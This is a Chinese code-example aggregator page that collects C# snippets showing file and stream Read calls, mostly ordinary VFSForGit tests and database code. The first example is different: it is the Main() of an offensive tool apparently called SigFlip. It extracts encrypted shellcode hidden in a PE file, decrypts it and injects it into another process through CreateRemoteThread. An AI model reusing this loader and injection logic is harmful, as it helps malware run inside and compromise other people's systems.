C# File.Read的代码示例

通过代码示例来学习C# File.Read方法

通过代码示例来学习编程是非常高效的。
1. 代码示例提供了一个具体而直观的学习环境,使初学者能够立即看到编程概念和语法的实际应用。
2. 通过分析和模仿现有的代码实例,初学者可以更好地理解编程逻辑和算法的工作原理。
3. 代码实例往往涵盖了多种编程技巧和最佳实践,通过学习和模仿这些实例,学习者可以逐步掌握如何编写高效、可读性强和可维护的代码。这对于初学者来说,是一种快速提升编程水平的有效途径。


File.Read是C#的System.IO命名空间下中的一个方法, 小编为大家找了一些网络大拿们常见的代码示例,源码中的File.Read() 已经帮大家高亮显示了,大家可以重点学习File.Read() 方法的写法,从而快速掌握该方法的应用。

File.Read的代码示例1 - Main()

    using System.IO;
        public static void Main(string[] args)
        {
            ArgumentParser _parser = new ArgumentParser(args);

            if (args.Length <= 0 || _parser.GetOrDefault("h", "help") == "true") {
                Help();
            }


            if (_parser.GetOrDefault("f", "null") != "null") {
                _pePath = _parser.GetOrDefault("f", "null");
                _encKey = _parser.GetOrDefault("e", "null");
                _pid = _parser.GetOrDefault("pid", "null");

                if (_pePath == "null") Help();
                if (_pid == "null") Help();
            }

            else {
                Help();
            }

            if (!File.Exists(_pePath)) Help();

            Console.WriteLine("[+]:Loading/Parsing PE File '{0}'", _pePath);
            Console.WriteLine();

            byte[] _peBlob = Utils.Read(_pePath);
            int _dataOffset = Utils.scanPattern(_peBlob, _tag);

            Console.WriteLine("[+]:Scanning for Shellcode...");
            if ( _dataOffset == -1) {
                Console.WriteLine("Could not locate data or shellcode");
                Environment.Exit(0);
            }

            Stream stream = new MemoryStream(_peBlob);
            long pos = stream.Seek(_dataOffset + _tag.Length, SeekOrigin.Begin);
            Console.WriteLine("[+]: Shellcode located at {0:x2}", pos);
            byte[] shellcode = new byte[_peBlob.Length - (pos + _tag.Length)];
            stream.Read(shellcode, 0, (_peBlob.Length)- ((int)pos + _tag.Length));
            byte[] _data = Utils.Decrypt(shellcode, _encKey);
            
            stream.Close();

            //Execute shellcode (just a basic/vanilla local shellcode injection logic, make sure to CHANGE this and use your custom shellcode loader.
            
            //CreateThread
            //ExecShellcode(_data);

            //CreateRemoteThread 
            Loader.rexec(Convert.ToInt32(_pid), _data);
           

            }
    

开发者ID:med0x2e,项目名称:SigFlip,代码行数:56,代码来源:Program.cs

在Main()方法中,File的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例2 - FilesAreBufferedAndCanBeFlushed()

    using System.IO;

        [TestCaseSource(typeof(FileRunnersAndFolders), nameof(FileRunnersAndFolders.Runners))]
        public void FilesAreBufferedAndCanBeFlushed(FileSystemRunner fileSystem, string parentFolder)
        {
            string filename = Path.Combine(parentFolder, "FilesAreBufferedAndCanBeFlushed");
            string filePath = this.Enlistment.GetVirtualPathTo(filename);

            byte[] buffer = System.Text.Encoding.ASCII.GetBytes("Some test data");

            using (FileStream writeStream = File.Open(filePath, FileMode.CreateNew, FileAccess.ReadWrite, FileShare.ReadWrite))
            {
                writeStream.Write(buffer, 0, buffer.Length);

                using (FileStream readStream = File.Open(filePath, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite))
                {
                    readStream.Length.ShouldEqual(0);
                    writeStream.Flush();
                    readStream.Length.ShouldEqual(buffer.Length);

                    byte[] readBuffer = new byte[buffer.Length];
                    readStream.Read(readBuffer, 0, readBuffer.Length).ShouldEqual(readBuffer.Length);
                    readBuffer.ShouldMatchInOrder(buffer);
                }
            }

            fileSystem.DeleteFile(filePath);
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:28,代码来源:BasicFileSystemTests.cs

在FilesAreBufferedAndCanBeFlushed()方法中,File的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例3 - SavePersistedValue()

    using System.IO;

        private static void SavePersistedValue(string dotGVFSRoot, string key, string value)
        {
            string metadataPath = Path.Combine(dotGVFSRoot, RepoMetadataName);

            Dictionary repoMetadata = new Dictionary();
            string json;
            using (FileStream fs = new FileStream(metadataPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete))
            using (StreamReader reader = new StreamReader(fs))
            {
                while (!reader.EndOfStream)
                {
                    json = reader.ReadLine();
                    json.Substring(0, 2).ShouldEqual("A ");

                    KeyValuePair kvp = JsonConvert.DeserializeObject>(json.Substring(2));
                    repoMetadata.Add(kvp.Key, kvp.Value);
                }
            }

            repoMetadata[key] = value;

            string newRepoMetadataContents = string.Empty;

            foreach (KeyValuePair kvp in repoMetadata)
            {
                newRepoMetadataContents += "A " + JsonConvert.SerializeObject(kvp).Trim() + "\r\n";
            }

            File.WriteAllText(metadataPath, newRepoMetadataContents);
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:32,代码来源:GVFSHelpers.cs

在SavePersistedValue()方法中,File的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例4 - ServiceLogContainsUpgradeMessaging()

    using System.IO;

        private bool ServiceLogContainsUpgradeMessaging()
        {
            // This test checks for the upgrade timer start message in the Service log
            // file. GVFS.Service should schedule the timer as it starts.
            string expectedTimerMessage = "Checking for product upgrades. (Start)";
            string serviceLogFolder = Path.Combine(
                Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),
                "GVFS",
                GVFSServiceProcess.TestServiceName,
                "Logs");
            DirectoryInfo logsDirectory = new DirectoryInfo(serviceLogFolder);
            FileInfo logFile = logsDirectory.GetFiles()
                .OrderByDescending(f => f.LastWriteTime)
                .FirstOrDefault();

            if (logFile != null)
            {
                using (StreamReader fileStream = new StreamReader(File.Open(logFile.FullName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)))
                {
                    string nextLine = null;
                    while ((nextLine = fileStream.ReadLine()) != null)
                    {
                        if (nextLine.Contains(expectedTimerMessage))
                        {
                            return true;
                        }
                    }
                }
            }

            return false;
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:34,代码来源:GVFSUpgradeReminderTests.cs

在ServiceLogContainsUpgradeMessaging()方法中,File的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例5 - OpenIndexForRead()

    using System.IO;

        public virtual FileSystemTaskResult OpenIndexForRead()
        {
            if (!File.Exists(this.indexPath))
            {
                EventMetadata metadata = CreateEventMetadata();
                this.context.Tracer.RelatedError(metadata, "AcquireIndexLockAndOpenForWrites: Can't open the index because it doesn't exist");

                return FileSystemTaskResult.FatalError;
            }

            this.projectionParseComplete.Wait();

            FileSystemTaskResult result = FileSystemTaskResult.FatalError;
            try
            {
                this.indexFileStream = new FileStream(this.indexPath, FileMode.Open, FileAccess.Read, FileShare.Read, IndexFileStreamBufferSize);
                result = FileSystemTaskResult.Success;
            }
            catch (IOException e)
            {
                EventMetadata metadata = CreateEventMetadata(e);
                this.context.Tracer.RelatedWarning(metadata, "IOException in AcquireIndexLockAndOpenForWrites (Retryable)");
                result = FileSystemTaskResult.RetryableError;
            }
            catch (Exception e)
            {
                EventMetadata metadata = CreateEventMetadata(e);
                this.context.Tracer.RelatedError(metadata, "Exception in AcquireIndexLockAndOpenForWrites (FatalError)");
                result = FileSystemTaskResult.FatalError;
            }

            return result;
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:35,代码来源:GitIndexProjection.cs

在OpenIndexForRead()方法中,File的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例6 - ModifiedPathsFromChangesInsideRepoSavedAfterRemount()

    using System.IO;

        [TestCaseSource(typeof(FileSystemRunner), nameof(FileSystemRunner.Runners))]
        public void ModifiedPathsFromChangesInsideRepoSavedAfterRemount(FileSystemRunner fileSystem)
        {
            string[] expectedModifiedFilesContentsAfterRemount =
                {
                    @"A .gitattributes",
                    $"A {GVFSHelpers.ConvertPathToGitFormat(FileToAdd)}",
                    $"A {GVFSHelpers.ConvertPathToGitFormat(FileToUpdate)}",
                    $"A {FileToDelete}",
                    $"A {GVFSHelpers.ConvertPathToGitFormat(FileToRename)}",
                    $"A {GVFSHelpers.ConvertPathToGitFormat(RenameFileTarget)}",
                    $"A {FolderToCreate}/",
                    $"A {RenameNewDotGitFileTarget}",
                    $"A {FolderToDelete}/",
                };

            string fileToAdd = this.Enlistment.GetVirtualPathTo(FileToAdd);
            fileSystem.WriteAllText(fileToAdd, "Contents for the new file");

            string fileToUpdate = this.Enlistment.GetVirtualPathTo(FileToUpdate);
            fileSystem.AppendAllText(fileToUpdate, "// Testing");

            string fileToDelete = this.Enlistment.GetVirtualPathTo(FileToDelete);
            fileSystem.DeleteFile(fileToDelete);
            fileToDelete.ShouldNotExistOnDisk(fileSystem);

            string fileToRename = this.Enlistment.GetVirtualPathTo(FileToRename);
            fileSystem.MoveFile(fileToRename, this.Enlistment.GetVirtualPathTo(RenameFileTarget));

            string folderToCreate = this.Enlistment.GetVirtualPathTo(FolderToCreate);
            fileSystem.CreateDirectory(folderToCreate);

            string folderToRename = this.Enlistment.GetVirtualPathTo(FolderToRename);
            fileSystem.CreateDirectory(folderToRename);
            string folderToRenameTarget = this.Enlistment.GetVirtualPathTo(RenameFolderTarget);
            fileSystem.MoveDirectory(folderToRename, folderToRenameTarget);

            // Deleting the new folder will remove it from the modified paths file
            fileSystem.DeleteDirectory(folderToRenameTarget);
            folderToRenameTarget.ShouldNotExistOnDisk(fileSystem);

            // Moving a file from the .git folder to the working directory should add the file to the modified paths
            string dotGitfileToAdd = this.Enlistment.GetVirtualPathTo(DotGitFileToCreate);
            fileSystem.WriteAllText(dotGitfileToAdd, "Contents for the new file in dot git");
            fileSystem.MoveFile(dotGitfileToAdd, this.Enlistment.GetVirtualPathTo(RenameNewDotGitFileTarget));

            string folderToDeleteFullPath = this.Enlistment.GetVirtualPathTo(FolderToDelete);
            fileSystem.WriteAllText(Path.Combine(folderToDeleteFullPath, "NewFile.txt"), "Contents for new file");
            string newFileToDelete = Path.Combine(folderToDeleteFullPath, "NewFileToDelete.txt");
            fileSystem.WriteAllText(newFileToDelete, "Contents for new file");
            fileSystem.DeleteFile(newFileToDelete);
            fileSystem.WriteAllText(Path.Combine(folderToDeleteFullPath, "CreateCommonVersionHeader.bat"), "Changing the file contents");
            fileSystem.DeleteFile(Path.Combine(folderToDeleteFullPath, "RunUnitTests.bat"));

            fileSystem.DeleteDirectory(folderToDeleteFullPath);
            folderToDeleteFullPath.ShouldNotExistOnDisk(fileSystem);

            // Remount
            this.Enlistment.UnmountGVFS();
            this.Enlistment.MountGVFS();

            this.Enlistment.WaitForBackgroundOperations();

            string modifiedPathsDatabase = Path.Combine(this.Enlistment.DotGVFSRoot, TestConstants.Databases.ModifiedPaths);
            modifiedPathsDatabase.ShouldBeAFile(fileSystem);
            using (StreamReader reader = new StreamReader(File.Open(modifiedPathsDatabase, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)))
            {
                reader.ReadToEnd().Split(new char[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries).OrderBy(x => x)
                    .ShouldMatchInOrder(expectedModifiedFilesContentsAfterRemount.OrderBy(x => x));
            }
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:73,代码来源:ModifiedPathsTests.cs

在ModifiedPathsFromChangesInsideRepoSavedAfterRemount()方法中,File的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例7 - CanReadHydratedPlaceholderInParallel()

    using System.IO;

        [TestCase, Order(2)]
        public void CanReadHydratedPlaceholderInParallel()
        {
            FileSystemRunner fileSystem = FileSystemRunner.DefaultRunner;
            string fileName = Path.Combine("GVFS", "GVFS.FunctionalTests", "Tests", "LongRunningEnlistment", "WorkingDirectoryTests.cs");
            string virtualPath = this.Enlistment.GetVirtualPathTo(fileName);
            virtualPath.ShouldBeAFile(fileSystem);

            // Not using the runner because reading specific bytes isn't common
            // Can't use ReadAllText because it will remove some bytes that the stream won't.
            byte[] actualContents = File.ReadAllBytes(virtualPath);

            Thread[] threads = new Thread[4];

            // Readers
            bool keepRunning = true;
            for (int i = 0; i < threads.Length; ++i)
            {
                int myIndex = i;
                threads[i] = new Thread(() =>
                {
                    // Create random seeks (seeded for repeatability)
                    Random randy = new Random(myIndex);

                    // Small buffer so we hit the drive a lot.
                    // Block larger than the buffer to hit the drive more
                    const int SmallBufferSize = 128;
                    const int LargerBlockSize = SmallBufferSize * 10;

                    using (Stream reader = new FileStream(virtualPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite, SmallBufferSize, false))
                    {
                        while (keepRunning)
                        {
                            byte[] block = new byte[LargerBlockSize];

                            // Always try to grab a full block (easier for asserting)
                            int position = randy.Next((int)reader.Length - block.Length - 1);

                            reader.Position = position;
                            reader.Read(block, 0, block.Length).ShouldEqual(block.Length);
                            block.ShouldEqual(actualContents, position, block.Length);
                        }
                    }
                });

                threads[i].Start();
            }

            Thread.Sleep(2500);
            keepRunning = false;

            for (int i = 0; i < threads.Length; ++i)
            {
                threads[i].Join();
            }
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:58,代码来源:MultithreadedReadWriteTests.cs

在CanReadHydratedPlaceholderInParallel()方法中,File的代码示例类中的Read的代码示例方法一共出现了2次, 见黄色背景高亮显示的地方,欢迎大家点赞

File.Read的代码示例8 - GetAllFilePaths()

    using System.IO;

        public HashSet GetAllFilePaths()
        {
            try
            {
                using (IDbConnection connection = this.connectionPool.GetConnection())
                using (IDbCommand command = connection.CreateCommand())
                {
                    HashSet fileEntries = new HashSet();
                    command.CommandText = $"SELECT path FROM Placeholder WHERE pathType = {(int)PlaceholderData.PlaceholderType.File};";
                    using (IDataReader reader = command.ExecuteReader())
                    {
                        while (reader.Read())
                        {
                            fileEntries.Add(reader.GetString(0));
                        }
                    }

                    return fileEntries;
                }
            }
            catch (Exception ex)
            {
                throw new GVFSDatabaseException($"{nameof(PlaceholderTable)}.{nameof(this.GetAllFilePaths)} Exception", ex);
            }
        }
    

开发者ID:microsoft,项目名称:VFSForGit,代码行数:27,代码来源:PlaceholderTable.cs

在GetAllFilePaths()方法中,File的代码示例类中的Read的代码示例方法一共出现了1次, 见黄色背景高亮显示的地方,欢迎大家点赞

本文中的File.Read方法示例由csref.cn整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。